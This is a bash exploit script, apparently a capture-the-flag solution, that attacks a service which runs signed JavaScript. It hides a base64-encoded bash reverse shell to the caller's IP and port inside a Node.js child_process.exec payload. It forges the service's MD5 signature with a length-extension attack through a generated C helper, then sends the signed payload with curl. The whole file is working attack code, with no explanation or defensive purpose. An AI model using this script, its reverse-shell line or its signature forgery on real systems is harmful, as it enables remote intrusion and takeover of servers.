exploit.sh

#!/usr/bin/bash

if [ $# -ne 4 ]
then
  echo "USAGE: ./exploit.sh REMOTE_IP RPORT LOCAL_IP LPORT"
  exit
fi
# Input
REMOTE_IP=$1
RPORT=$2
LOCAL_IP=$3
LPORT=$4

# Bash TCP Reverse Shell payload
rev_sh=$(echo -n "echo $(echo -n "bash -i >& /dev/tcp/$LOCAL_IP/$LPORT 0>&1" | base64) | base64 -d | bash")

# Payload1 - cmd_default
cmd_default=$(echo -n "function hello(name) {\n  return 'Hello ' + name + '!';\n}\n\nhello('World'); // should print 'Hello World'")

# Payload2 - padding
padding=$(echo -n '\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x60\x04\x00\x00\x00\x00\x00\x00')

# Payload3 - cmd for rev_sh
cmd=$(echo -n $"\nrequire('child_process').exec('$rev_sh');")
len_cmd=$(printf "$cmd" | wc -c)

# Final Payload - code_string
code_string=$(printf "$cmd_default$padding$cmd" | base64 -w 0)

# Signature
echo "
#include <stdio.h>
#include <openssl/md5.h>

int main(int argc, const char *argv[])
{
  int i;
  unsigned char buffer[MD5_DIGEST_LENGTH];
  MD5_CTX c;

  MD5_Init(&c);
  MD5_Update(&c, \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\", 192);

  c.A = htonl(0xaaa8111b); /* <-- This is the hash we already had */
  c.B = htonl(0x4871b48d);
  c.C = htonl(0xc6c0ac4c);
  c.D = htonl(0x33ef9e1b);

  MD5_Update(&c, \""$cmd"\", $len_cmd); // This is the appended data. 
  MD5_Final(buffer, &c);
  for (i = 0; i < 16; i++) {
    printf(\"%02x\", buffer[i]);
  }
  printf(\"\n\");
  return 0;
}" > sig.c
sig=$(gcc -o sig sig.c -lssl -lcrypto 1>&/dev/null && ./sig)
rm sig sig.c

# Trigger the reverse shell
curl -X POST -H "Content-Type: application/json" -d "{\"sig\":\"$sig\",\"code\":\"$code_string\"}" "$REMOTE_IP:$RPORT" 1>&/dev/null